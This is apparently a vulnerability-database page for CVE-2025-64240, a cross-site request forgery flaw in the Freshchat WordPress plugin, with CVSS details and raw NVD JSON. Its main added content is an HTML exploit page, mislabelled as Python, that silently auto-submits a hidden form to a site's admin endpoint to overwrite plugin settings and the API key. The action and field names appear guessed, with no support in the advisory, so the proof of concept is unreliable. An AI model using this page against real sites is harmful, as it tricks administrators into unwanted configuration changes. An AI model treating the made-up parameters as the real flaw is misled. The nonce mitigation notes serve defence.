Security Vulnerability Report
中文
CVE-2025-64240 CVSS 4.3 MEDIUM

CVE-2025-64240

Published: 2025-12-16 09:15:54
Last Modified: 2026-04-15 00:35:42

Description

Cross-Site Request Forgery (CSRF) vulnerability in freshchat Freshchat freshchat allows Cross Site Request Forgery.This issue affects Freshchat: from n/a through <= 2.3.4.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Freshchat WordPress Plugin <= 2.3.4
Freshchat WordPress Plugin n/a through 2.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-64240 - Freshchat Plugin CSRF --> <!-- This PoC demonstrates how an attacker can trick an admin into performing unwanted actions --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-64240</title> </head> <body> <h1>Malicious Page - Do Not Visit</h1> <p>This page demonstrates the CSRF vulnerability in Freshchat plugin.</p> <!-- Auto-submit form targeting Freshchat plugin admin action --> <!-- Replace TARGET_URL with actual WordPress site URL --> <form id="csrfForm" action="TARGET_URL/wp-admin/admin-post.php" method="POST" style="display:none;"> <!-- Freshchat plugin action without CSRF token --> <input type="hidden" name="action" value="freshchat_admin_action"> <input type="hidden" name="freshchat_setting" value="malicious_value"> <!-- Additional form fields that plugin expects --> <input type="hidden" name="freshchat_api_key" value="attacker_controlled"> <input type="hidden" name="freshchat_widget_id" value="modified"> </form> <script> // Auto-submit when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this, the attack may have failed.</p> </body> </html> <!-- Mitigation: Freshchat plugin should implement proper CSRF protection: 1. Add wp_nonce_field('freshchat_action', 'freshchat_nonce') to all admin forms 2. Verify nonce with wp_verify_nonce($_POST['freshchat_nonce'], 'freshchat_action') 3. Use nonces for all state-changing operations (POST/GET requests) -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64240", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:53.517", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in freshchat Freshchat freshchat allows Cross Site Request Forgery.This issue affects Freshchat: from n/a through <= 2.3.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/freshchat/vulnerability/wordpress-freshchat-plugin-2-3-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}